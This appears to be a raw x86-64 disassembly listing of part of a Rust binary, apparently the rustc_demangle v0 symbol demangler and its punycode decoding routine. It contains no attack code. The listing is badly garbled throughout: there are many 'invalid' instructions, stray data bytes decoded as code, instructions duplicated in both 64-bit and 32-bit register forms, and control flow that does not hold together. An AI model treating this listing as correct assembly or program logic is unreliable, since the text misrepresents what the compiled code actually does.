movzx ebx, byte [rbp + 1]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x14016e793
and byte [rbx + rbx*8 + 0x23b840f], al
add byte [rax], al
test rcx, rcx
je 0x14016e7b5
push rsp
add al, byte [rax]
invalid
lea rdx, [0x14025cb70]
adc eax, 0xee608
mov r8d, 0x19
jmp 0x14016e7a5
invalid
mov rcx, rsi
call fcn.14016ea90
mov dil, 1
jmp 0x14016e689
mov rdi, qword [rsi + 0x20]
test rdi, rdi
je 0x14016e5ac
lea rdx, [0x14025c83b]
mov r8d, 1
mov rcx, rdi
call fcn.140025500
pop rdi
outsd dx, dword [rsi]
jmp 0x14016e5a0
mov dil, 1
test al, al
jne 0x14016e91e
invalid
test al, 0xe2
invalid
mov rcx, rsi
call fcn.14016f5f0
cmp al, 0x10
add byte [rax], al
mov dil, 1
test al, al
jne 0x14016e91e
test dword [rdi + 3], ebx
add byte [rax], al
test dword [rdi + 3], ebx
add byte [rax], al
cmp bl, 0x4d
je 0x14016e66e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], r9b
leave
je 0x14016e5eb
lea rdx, [0x14025cba2]
mov r8d, 4
call fcn.140025500
outsd dx, dword [rsi]
jmp 0x14016e5e2
test al, al
jne 0x14016e91e
mov rcx, rsi
xor edx, edx
call fcn.14016e350
test al, al
je 0x14016e66e
jmp 0x14016e91e
add eax, dword [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
mov rcx, rsi
mov ebx, edx
call fcn.14016e350
mov dil, 1
test al, al
jne 0x14016e91e
test bl, bl
je 0x14016e63a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e63a
lea rdx, [0x14025c780]
mov r8d, 2
call fcn.140025500
test al, al
jne 0x14016e91e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e65d
lea rdx, [0x14025c83b]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call fcn.140025500
test al, al
jne 0x14016e91e
mov rcx, rsi
call case.0x14014975d.235
test rax, rax
jne 0x14016e91e
mov al, 2
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e691
lea rdx, [0x14025c83a]
mov r8d, 1
loope case.0x1401512b4.155
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call fcn.140025500
test al, al
jne 0x14016e91e
cmp qword [rsi], 0
je 0x14016e91c
invalid
dec dword [rsi + 0x18]
jmp 0x14016e91c
mov rcx, qword [rsi + 0x20]
test ebx, 0x100
jne 0x14016e7c4
test rcx, rcx
je 0x14016e7e6
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
add byte [rax], al
jmp 0x14016e7d6
mov rax, qword [rbp + 8]
mov qword [rbp - 0x28], rax
cmp qword [rsi], 0
je 0x14016e7fb
mov rcx, rbp
mov rdx, rsi
call fcn.14016ed00
add byte [rax], al
cmp qword [rbp], 0
je 0x14016e880
invalid
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14016e691
lea rcx, [rbp - 0x50]
call fcn.14016eef0
fadd dword [rdi]
add byte [rax], al
mov dil, 1
test al, al
jne 0x14016e91e
add byte [rax], al
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x14016e691
test byte [rax + 0x34], 4
jne 0x14016e691
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140288be0]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14016e78b
mov rdx, qword [rsi + 0x20]
lea rcx, [rbp - 0x28]
call fcn.14002ae90
test al, al
jne 0x14016e78b
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140288be1]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x14016e691
invalid
invalid
mov dil, 1
jmp 0x14016e91e
test rcx, rcx
je 0x14016e7b5
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140025500
mov dil, 1
test al, al
jne 0x14016e91e
mov qword [rsi], 0
mov byte [rsi + 8], bl
or cl, ch
pop rax
add dword [rax], eax
invalid
test rcx, rcx
je 0x14016e7e6
lea rdx, [0x14025cb70]
mov r8d, 0x19
call fcn.140025500
mov dil, 1
test al, al
jne 0x14016e91e
shr ebx, 8
and bl, 1
mov qword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], bl
jmp 0x14016e91c
add byte [rax], al
add byte [rax + 0x21e9085e], cl
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e91c
lea rdx, [0x14025cb89]
mov r8d, 1
add al, ch
out 0x6c, al
jmp 0x14016e819
mov edi, eax
jmp 0x14016e91e
jp 0x14016e7f0
invalid
xor eax, eax
mov r10d, 0x3e
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x14016e8de
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x14016e864
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x14016e850
invalid
add dl, 0xa9
jmp 0x14016e861
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
jae case.0x14016e3f2.68
invalid
xchg ecx, eax
add byte [rax], al
invalid
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
mul r10
loop 0x14016e8df
invalid
movzx edx, r11b
add rax, rdx
jb case.0x14016e3f2.68
cmp r9, r8
jb 0x14016e829
jmp case.0x14016e3f2.68
movzx ebx, byte [rbp + 8]
jmp 0x14016e54c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e91c
add byte [rax], al
lea rdx, [0x14025c780]
mov r8d, 2
call fcn.140025500
test al, al
jne 0x14016e91e
invalid
jb 0x14016e8f5
cmp qword [rsi], 0
cmp dword [rsi], 0
jne 0x14016e48a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x14016e91c
lea rdx, [0x14025cb89]
mov r8d, 1
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.140025500
inc r9
mov qword [rsi + 0x10], r9
cmp rax, 0xfffffffffffffffd
jbe 0x14016e425
xchg byte [rsi], dh
sti
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x14016e911
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140025500
jmp 0x14016e909
mov dil, 1
test al, al
jne 0x14016e91e
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x14016e953
lea rdx, [0x14025cb93]
mov r8d, 3
add al, ch
mov bh, 0x6b
jmp 0x14016e948
test al, al
jne 0x14016e91e
mov rax, qword [rsi + 0x20]
jmp 0x14016e955
xor eax, eax
cmp ebx, 0x43
je 0x14016e973
cmp ebx, 0x53
jne 0x14016e98f
test rax, rax
je 0x14016e9aa
lea rdx, [0x14025cb9d]
mov r8d, 4
jmp 0x14016e985
test rax, rax
je 0x14016e9aa
lea rdx, [0x14025cb96]
mov r8d, 7
mov rcx, rax
call fcn.140025500
jmp 0x14016e9a2
mov dword [rbp], ebx
test rax, rax
je 0x14016e9aa
mov rcx, rbp
mov rdx, rax
call fcn.14002c730
test al, al
jne 0x14016e91e
mov rax, qword [rbp - 0x18]
mov rcx, qword [rsi + 0x20]
or rax, qword [rbp - 8]
jne 0x14016ea15
test rcx, rcx
je 0x14016e691
lea rdx, [0x14025cba1]
mov r8d, 1
call fcn.140025500
test al, al
jne 0x14016e91e
mov rdx, qword [rsi + 0x20]
mov qword [rbp], r14
test rdx, rdx
je 0x14016e691
mov rcx, rbp
call fcn.140024bb0
test al, al
jne 0x14016e91e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e691
test rcx, rcx
je 0x14016e691
lea rdx, [0x140288be2]
mov r8d, 1
call fcn.140025500
test al, al
jne 0x14016e91e
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14016e691
lea rcx, [rbp - 0x20]
call fcn.14016eef0
test al, al
jne 0x14016e91e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x14016e9c1
jmp 0x14016e691
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
invalid
add byte [rbp + rcx*4 + 0xd], cl
out dx, al
fimul dword [rsi]
add byte [rcx - 0x77], cl
call 0x140172843
add al, ch
call fcn.1401c7200
int3
movzx edi, byte [r10 + r8]
add dil, 0xd0
rol byte [rax - 0x80], 1
dec dword [rcx]
ja 0x14016eda0
invalid
and dword [rcx - 1], ecx
ror byte [rbp - 0x77], 0x43
adc byte [rax - 9], cl
out 0x70, al
movzx edx, dil
inc r8
mov qword [r11 + 0x10], r8
mul rsi
jo 0x14016edc1
movzx edx, dil
add rax, rdx
jb 0x14016edc1
cmp r9, r8
jne 0x14016ed70
sal dword [rbp - 0x29], 0x4d
mov eax, ecx
mov r8, r9
jmp 0x14016edb3
cmp r8, r9
jae 0x14016edb3
cmp byte [r10 + r8], 0x5f
jne 0x14016edb3
inc r8
mov qword [r11 + 0x10], r8
add rax, r8
jb 0x14016edc1
mov qword [r11 + 0x10], rax
cmp rax, r9
jbe 0x14016edd7
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
test r8, r8
je 0x14016edf3
cmp r8, r9
jae 0x14016eded
cmp byte [r10 + r8], 0xc0
jge 0x14016edf3
jmp 0x14016eecb
jne 0x14016eecb
test rax, rax
je 0x14016ee08
cmp rax, r9
jae 0x14016ee08
cmp byte [r10 + rax], 0xbf
jle 0x14016eecb
mov rsi, rax
sub rsi, r8
lea rdi, [r10 + r8]
test bl, bl
je 0x14016ee80
add rax, r10
sub rax, rdi
add r8, r10
dec r8
xor edx, edx
nop word cs:[rax + rax]
test rax, rax
je 0x14016ee9c
mov rbx, rax
dec rax
cmp byte [r8 + rbx], 0x5f
jne 0x14016ee30
mov r14, rcx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.140172e70
add byte [rax], al
add byte [rax], al
test rbx, rbx
je 0x14016eea5
cmp rsi, rbx
jbe 0x14016eea3
cmp byte [rdi + rbx], 0xbf
jg 0x14016eea5
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
mov r9, rsi
call fcn.1401c73e0
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0
jmp 0x14016edcc
mov eax, 1
jmp 0x14016eeae
jne 0x14016ee63
sub rsi, rbx
add rdi, rbx
mov rcx, r14
test rsi, rsi
je 0x14016edc1
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rsi
jmp 0x14016edcc
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
or eax, 0xedc2e
mov qword [rsp + 0x20], rcx
mov rcx, r10
mov rdx, r9
mov r9, rax
call fcn.1401c73e0
int3
add al, byte [rax]
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add al, byte [rax]
add byte [rcx], dh
shr al, cl
jae 0x14016ef96
add eax, 0x4c8b4900
and al, 0x18
mov rax, rcx
mov qword [rbp + 0x1b8], rcx
test rcx, rcx
je 0x14016f063
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x1c0], rsi
mov rax, qword [r12 + 0x10]
mov qword [rbp + 0x1c8], rax
movzx r10d, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1a8], rax
je 0x14016f08e
add rax, rcx
xor r15d, r15d
nop word [rax + rax]
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x14016efb0
inc rcx
cmp r15, 0x80
jne 0x14016f050
jmp 0x14016f485
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x14016f00f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x14016f02b
movzx edx, byte [rcx + 3]
and r8d, 7
push rcx
add eax, dword [rcx - 0x7d]
loopne 0x14016efe7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
invalid
cli
add byte [rax], al
adc dword [rax], eax
je 0x14016f091
add rcx, 4
cmp r15, 0x80
jne 0x14016f050
jmp 0x14016f485
add rcx, 2
shl r8d, 6
or r8d, esi
mov edx, r8d
cmp r15, 0x80
jne 0x14016f050
jmp 0x14016f485
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp r15, 0x80
je 0x14016f485
nop word cs:[rax + rax]
mov dword [rbp + r15*4 - 0x58], edx
inc r15
cmp rcx, rax
jne 0x14016ef80
jmp 0x14016f091
mov rdx, qword [r12]
adc al, 0x24
mov r8, qword [r12 + 8]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
add rsp, 0x288
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
xor r15d, r15d
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add rax, r13
mov qword [rbp + 0x1e0], rax
lea rax, [r15*4 + 4]
mov qword [rbp + 0x1e8], rax
mov rax, r15
not rax
mov qword [rbp + 0x1d0], rax
rol byte [rcx], 1
add byte [rax], al
lea rax, [r15 + 1]
mov qword [rbp + 0x200], rax
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
mov qword [rbp + 0x1f0], rax
mov r14d, 0x48
mov eax, 0x80
mov qword [rbp + 0x1f8], rax
mov edx, 0x1a
sbb al, byte [rax]
add byte [rax], al
xor r8d, r8d
mov ecx, 0x24
sub rcx, r14
sub ecx, esi
mov eax, 0
cmovae rax, rcx
cmp rax, 1
cmp eax, 1
adc rax, 0
cmp rax, 0x1a
cmovae rax, rdx
lea ecx, [r10 - 0x61]
cmp cl, 0x1a
jb 0x14016f139
lea ecx, [r10 - 0x30]
cmp cl, 9
ja 0x14016f485
add r10b, 0xea
mov ecx, r10d
mov ebx, 0x1a
inc r13
invalid
movzx ecx, cl
cmp rax, rcx
jbe 0x14016f190
add r8, rcx
jb 0x14016f485
invalid
xor eax, dword [rbx]
add byte [rax], al
lea rdi, [r15 + 1]
mov rax, r8
or rax, rdi
shr rax, 0x20
je 0x14016f262
mov rax, r8
xor edx, edx
div rdi
mov r9, rdx
add qword [rbp + 0x1f8], rax
jae 0x14016f279
jmp 0x14016f485
cmp r13, qword [rbp + 0x1e0]
je 0x14016f485
mov edx, 0x48
sub rdx, r14
mov esi, 0
cmovae rsi, rdx
cmp rsi, 1
adc rsi, 0
cmp rsi, 0x1a
cmovae rsi, rbx
mov r9d, 0x24
sub r9, rax
mov edi, 0x6c
nop dword [rax]
invalid
invalid
mov rax, rdi
sub rax, r14
mov r11d, 0
cmovae r11, rax
movzx eax, byte [r13]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x14016f1fd
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x14016f485
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r9
jo 0x14016f485
add rcx, rax
jb 0x14016f485
cmp rsi, r10
ja 0x14016f2f2
xchg ebx, edx
add byte [rax], al
invalid
mov edx, 0x24
sub rdx, rsi
mov rax, r9
mul rdx
jo 0x14016f485
mov r9, rax
inc r13
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rbx
add rdi, 0x24
mov rsi, r11
cmp r13, qword [rbp + 0x1e0]
jne 0x14016f1d0
jae 0x14016f25a
invalid
invalid
jmp 0x14016f485
mov eax, r8d
xor edx, edx
div edi
mov r9d, edx
add qword [rbp + 0x1f8], rax
jb 0x14016f485
mov rax, qword [rbp + 0x1f8]
shr rax, 0x20
jne 0x14016f485
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x14016f485
invalid
cmp r15, 0x7f
ja 0x14016f485
mov r10, r15
sub r10, r9
jbe 0x14016f2e0
cmp r10, 7
jbe 0x14016f360
mov rax, r8
mov r11, qword [rbp + 0x200]
or rax, r11
shr rax, 0x20
je 0x14016f303
mov rax, r8
xor edx, edx
div r11
jmp 0x14016f30b
cmp r9, 0x80
jb 0x14016f376
jmp 0x14016f576
inc r13
add r8, rcx
jae 0x14016f152
jmp 0x14016f485
mov eax, r8d
xor edx, edx
div r11d
mov rdx, r10
and rdx, 0xfffffffffffffff8
imul rax, qword [rbp + 0x1d0]
add r8, rax
mov rax, r15
sub rax, r8
and rax, 0xfffffffffffffff8
neg rax
xor r8d, r8d
nop dword [rax]
movups xmm0, xmmword [r12 + r8*4 - 0x14]
movups xmm1, xmmword [r12 + r8*4 - 4]
movups xmmword [r12 + r8*4], xmm1
movups xmmword [r12 + r8*4 - 0x10], xmm0
add r8, 0xfffffffffffffff8
cmp rax, r8
jne 0x14016f330
cmp r10, rdx
je 0x14016f376
sub r15, rdx
nop dword [rax + rax]
mov eax, dword [rbp + r15*4 - 0x5c]
mov dword [rbp + r15*4 - 0x58], eax
lea rax, [r15 - 1]
mov r15, rax
cmp rax, r9
ja 0x14016f360
mov rax, qword [rbp + 0x1f8]
mov dword [rbp + r9*4 - 0x58], eax
cmp r13, qword [rbp + 0x1e0]
je case.0x140148ed1.626
movzx r10d, byte [r13]
mov rax, rcx
shr rax, 0x20
mov r11, qword [rbp + 0x1e8]
je 0x14016f3b5
mov rax, rcx
xor edx, edx
div qword [rbp + 0x1f0]
mov rcx, rax
jmp 0x14016f3c1
mov eax, ecx
xor edx, edx
div dword [rbp + 0x1f0]
mov ecx, eax
mov ch, pe_nt_image_headers64
add dword [rax], eax
add byte [rcx - 0x4a74b73f], cl
add byte [rdx], al
add byte [rax], al
mov rsi, qword [rbp + 0x200]
movabs rbx, 0xea0ea0ea0ea0ea0f
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x14016f3eb
invalid
mov rax, rcx
xor edx, edx
div rdi
mov rdx, rax
jmp 0x14016f3f3
mov eax, ecx
xor edx, edx
div edi
mov edx, eax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
cmp edx, 0x1c8
cmp edx, 0x1c8
jb 0x14016f42a
mov rcx, rdx
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov rax, rcx
mul rbx
enter 0xfffffffffffff748, 0xffffffffffffffe3
shr rdx, 5
add r8, 0x24
cmp rcx, 0x3e57
cmp ecx, 0x3e57
cmp ecx, 0x3e57
mov rcx, rdx
ja 0x14016f410
inc r9
lea eax, [rdx*4]
lea eax, [rax + rax*8]
add edx, 0x26
mov rcx, rdx
xor edx, edx
div cx
movzx r14d, ax
add r14, r8
add r11, 4
add ebx, 4
add ebx, 4
mov qword [rbp + 0x1e8], r11
dec qword [rbp + 0x1d0]
add byte [rax - 1], cl
invalid
mov qword [rbp + 0x200], rsi
add r12, 4
mov eax, 2
mov qword [rbp + 0x1f0], rax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
mov eax, ecx
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
mov eax, ecx
mov edx, 0x1a
mov eax, ecx
mov edx, 0x1a
jmp 0x14016f0fb
mov rax, qword [rbp + 0x1c0]
mov eax, dword [rbp + 0x1c0]
mov r14, qword [rax + 0x20]
jo 0x14016f4b0
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
invalid
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
mov rcx, r14
mov ecx, esi
invalid
mov ecx, esi
mov rsi, rax
call rax
mov r13b, 1
test al, al
jne 0x14016f503
mov r8, qword [rbp + 0x1a8]
mov eax, dword [rbp + 0x1a8]
test r8, r8
je 0x14016f4e9
mov rcx, r14
mov rdx, qword [rbp + 0x1b0]
mov rdi, rsi
call rsi
test al, al
invalid
jne 0x14016f503
sal byte [rbp + 0x30], 0x48
lea edx, [0x14025c991]
lea rdx, [0x14025c991]
mov r8d, 1
mov rcx, r14
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
call rdi
xlatb
test al, al
jne 0x14016f503
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0x1b8]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0x1b8]
mov rdi, rsi
mov eax, dword [rbp + 0x1b8]
mov rdi, rsi
idiv edi
invalid
call rsi
test al, al
je case.0x140148f55.632
mov eax, r13d
mov eax, ebp
add rsp, 0x288
mov byte [rdx], al
add byte [rax], al
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdx, [0x140261e7b]
mov r8d, 1
mov rcx, r14
int1
int1
mov rax, rdi
jmp case.0x140100db5.484
lea rsi, [rbp + 0x1dc]
mov rdi, qword [rbp + 0x1c0]
rol byte [rcx], 0
invalid
add byte [rax - 0x75], cl
mov ebp, 0x1c0
rol byte [rcx], 0
invalid
rol byte [rcx], 0
add byte [rax - 0x73], cl
lea ebx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
lea rbx, [rbp - 0x58]
lea ebx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
add byte [rax], al
nop dword [rax + rax]
mov eax, dword [rbx]
mov dword [rbp + 0x1dc], eax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov rdx, rdi
mov edx, edi
call fcn.14002c730
mov r13d, eax
mov ebp, eax
mov ebp, eax
test al, al
jne 0x14016f503
add rbx, 4
add r14, 0xfffffffffffffffc
cld
cld
jne case.0x140148ed1.643
fsub st(3), st(0)
lea ecx, [rbp + rcx*4 + 5]
ror dword [rsi], cl
jmp 0x14016f503
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
add byte [rdx + 0x80], bh
mov rcx, r9
call fcn.1401c6eb0
add ah, cl
add ah, cl
int3
cmp eax, dword [rcx + 8]
jae 0x14016f5bb
mov rdx, qword [rcx]
movzx edx, byte [rdx + rax]
inc rax
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [r13 + 0x1a3cbf42], cl
adc byte [r13 + 0x1a3cbf42], cl
jae 0x14016f5c4
shl rdx, 0x20
xor eax, eax
jmp 0x14016f5df
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x14016f5df
add dl, 0x85
xor ecx, ecx
xor eax, eax
cmp dl, 0xe6
cli
out 0xf, al
xchg edx, eax
invalid
rol byte [rax - 0x6df01906], 0xc0
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
adc dword [rax], eax
cmovb rdx, rcx
or rax, rdx
pop rbp
ret
int3
movabs rdx, 0x11000000000000
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
cmovb rdx, rcx
cmovb edx, ecx
or rax, rdx
pop rbp
ret
int3
invalid
cmp ecx, eax
ror dword [rdi], 0x83
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1c
or byte [rax - 0x73], cl
push rcx
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lahf
mov dh, 0xc9
adc eax, 0xed501
add byte [rax], al
add byte [rax], al
lea rdx, [0x14025cb89]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
adc eax, 0x1194c2
add byte [rax], al
add al, ch
call fcn.140025500
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x76b74f8b], eax
mov ecx, esi
mov ecx, esi
mov eax, 0x40fffffe
mov bh, 1
sbb cl, byte [rax - 0x73]
adc eax, 0xed45d
add al, ch
movabs eax, dword [0x79850fc084ffeb5d]
invalid
int1
lea eax, [0x14025cd48]
mov ecx, dword [rsi + 0x20]
invalid
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
push rsi
adc byte [rcx + rdi - 0x3e], cl
add byte [rax], al
cmp al, 0x10
jne 0x14016fa93
add byte [rax], al
mov ecx, dword [rsi + 0x20]
inc dword [rax + rax*8 - 0x2797af1]
invalid
pop rbx
or al, byte [rax]
add cl, ch
pop rdi
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
ror byte [rdi], 0x85
push rax
std
invalid
ror byte [rdi], 0x85
paddw mm7, mm7
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
invalid
lea edx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov ecx, esi
cld
invalid
test ecx, ecx
add al, ch
jne 0x14016fae3
jmp 0x14016fa8a
inc dword [rax + rax*8 - 0x3b27af1]
invalid
mov bh, 1
add dword [rax + rax*8 - 0x3dd7af1], eax
invalid
dec dword [rax - 0x77]
int1
ror byte [rdi], 0x85
paddb mm7, mm7
dec dword [rax - 0x7d]
add byte ds:[rdi], cl
test byte [rbx], al
cld
invalid
adc eax, 0xed071
jno 0x14016fabd
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x4247af1], eax
sti
invalid
add byte [rax], al
add byte [rax], al
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
invalid
sub esp, 0x20
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
mov rax, qword [rcx]
test rax, rax
invalid
sal byte [rax + riz*2 + 0x48], 0x89
iretd
je 0x14016fb97
mov rdi, rcx
xor esi, esi
lea rbx, [0x14025cb91]
xor r14d, r14d
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mul byte [rsi + 0x2e]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
cmp ecx, dword [rdi + 8]
or byte [r11 + 6], r14b
or byte [r11 + 6], r14b
invalid
cmp byte [rax + rcx], 0x45
je 0x14016fba2
invalid
sub r14, 1
jb 0x14016fb81
invalid
sbb ecx, dword [rax - 0x75]
and byte [r8 - 0x7b], r9b
and byte [rax - 0x7b], cl
mov rcx, qword [rdi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x14016fb81
mov r8d, 2
mov rdx, rbx
call fcn.140025500
sbb dword [rcx - 0x15], 0xffffffff
test al, al
jne 0x14016fb9b
add byte [rax - 0x77], cl
invalid
mov rcx, rdi
call case.0x1401525ca.195
test al, al
jne 0x14016fb9b
mov rax, qword [rdi]
test rax, rax
jne case.0x1401495b8.272
jmp 0x14016fbab
adc al, 0x31
imul bl
adc byte [rsi + 1], bh
xor esi, esi
jmp 0x14016fbab
mov esi, 1
jmp 0x14016fbab
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
or byte [rax - 0x75], cl
adc byte [r9 + rdi - 0x38], cl
jae 0x14016fc1f
movzx edx, byte [r8 + rax]
cmp edx, 0x4b
je 0x14016fc2b
cli
je 0x14016fc2b
cmp edx, 0x4c
jne 0x14016fc1f
jne 0x14016fc1f
lea r10, [rax + 1]
mov qword [rcx + 0x10], r10
mov dword [rcx + 0x10], edx
mov dword [rcx + 0x10], edx
push rcx
adc byte [rbp + 0x39], cl
retf 0x830f
cmp r10, r9
jae 0x14016fcab
cmp byte [r8 + r10], 0x5f
pop rdi
jne case.0x1401512b4.233
add rax, 2
mov qword [rcx + 0x10], rax
xor eax, eax
mov rdx, rax
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rsi
pop rbp
jmp fcn.1401703c0
nop
add rsp, 0x28
pop rsi
invalid
pop rbp
jmp fcn.14016f5f0
inc rax
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
mov dword [rcx + 0x10], eax
adc byte [r9], sil
adc byte [rcx], dh
xor edx, edx
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
jmp fcn.14016fcf0
ror byte [rax - 0x7d], cl
invalid
xor eax, eax
mov r11d, 0x3e
add byte [rsi + 0xf], ah
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
rol byte [rcx - 0x45], 0x3e
